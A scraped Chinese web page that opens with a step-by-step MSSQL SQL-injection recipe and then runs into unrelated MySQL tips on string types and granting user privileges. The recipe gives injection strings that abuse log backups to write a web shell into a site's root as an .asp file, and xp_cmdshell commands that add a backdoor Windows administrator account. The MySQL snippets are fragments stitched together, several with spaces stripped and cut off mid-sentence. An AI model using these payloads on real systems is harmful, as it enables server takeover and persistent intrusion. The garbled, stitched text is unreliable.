手工实现差异备份的步骤
字符型:
1、恢复当前库
;alter database 当前库 set recovery full--
2、建表cmd
;create table cmd (a image)--
3、备份当前库到d:cmd1
;backup log 当前库 to disk = 'd:cmd1' with init--
4、插入一句话代码到创建的表cmd
;insert into cmd (a) values ('')--
5、备份一句话代码到站点根目录
;backup log 当前库 to disk = 'd:www_weboct.'--
6、完成
;drop table 创建的表--
数字型
1、恢复当前库
';alter database 当前库 set recovery full--
2、创建表cmd
';create table cmd (a image)--
3、备份当前库到d:cmd1
';backup log 当前库 to disk = 'd:cmd1' with init--
4、插入一句话代码到创建的表cmd
';insert into cmd (a) values ('')--
5、备份一句话代码到站点根目录
';backup log 当前库 to disk = 'd:www_weboct.asp'--
6、完成
';drop table 创建的表--
sa权限创建管理员用户
1、判断是否有注入;and 1=1 ;and 1=2
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
2、添加系统的管理员
;exec master.dbo.xp_cmdshell 'net user wk wk90/add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators wk /add';--

MySQLstringtypesimpactstorageandperformanceasfollows:1)CHARisfixed-length,alwaysusingthesamestoragespace,whichcanbefasterbutlessspace-efficient.2)VARCHARisvariable-length,morespace-efficientbutpotentiallyslower.3)TEXTisforlargetext,storedoutsiderows,

MySQLstringtypesincludeVARCHAR,TEXT,CHAR,ENUM,andSET.1)VARCHARisversatileforvariable-lengthstringsuptoaspecifiedlimit.2)TEXTisidealforlargetextstoragewithoutadefinedlength.3)CHARisfixed-length,suitableforconsistentdatalikecodes.4)ENUMenforcesdatainte

MySQLoffersvariousstringdatatypes:1)CHARforfixed-lengthstrings,2)VARCHARforvariable-lengthtext,3)BINARYandVARBINARYforbinarydata,4)BLOBandTEXTforlargedata,and5)ENUMandSETforcontrolledinput.Eachtypehasspecificusesandperformancecharacteristics,sochoose

TograntpermissionstonewMySQLusers,followthesesteps:1)AccessMySQLasauserwithsufficientprivileges,2)CreateanewuserwiththeCREATEUSERcommand,3)UsetheGRANTcommandtospecifypermissionslikeSELECT,INSERT,UPDATE,orALLPRIVILEGESonspecificdatabasesortables,and4)

ToaddusersinMySQLeffectivelyandsecurely,followthesesteps:1)UsetheCREATEUSERstatementtoaddanewuser,specifyingthehostandastrongpassword.2)GrantnecessaryprivilegesusingtheGRANTstatement,adheringtotheprincipleofleastprivilege.3)Implementsecuritymeasuresl

ToaddanewuserwithcomplexpermissionsinMySQL,followthesesteps:1)CreatetheuserwithCREATEUSER'newuser'@'localhost'IDENTIFIEDBY'password';.2)Grantreadaccesstoalltablesin'mydatabase'withGRANTSELECTONmydatabase.TO'newuser'@'localhost';.3)Grantwriteaccessto'

The string data types in MySQL include CHAR, VARCHAR, BINARY, VARBINARY, BLOB, and TEXT. The collations determine the comparison and sorting of strings. 1.CHAR is suitable for fixed-length strings, VARCHAR is suitable for variable-length strings. 2.BINARY and VARBINARY are used for binary data, and BLOB and TEXT are used for large object data. 3. Sorting rules such as utf8mb4_unicode_ci ignores upper and lower case and is suitable for user names; utf8mb4_bin is case sensitive and is suitable for fields that require precise comparison.

The best MySQLVARCHAR column length selection should be based on data analysis, consider future growth, evaluate performance impacts, and character set requirements. 1) Analyze the data to determine typical lengths; 2) Reserve future expansion space; 3) Pay attention to the impact of large lengths on performance; 4) Consider the impact of character sets on storage. Through these steps, the efficiency and scalability of the database can be optimized.


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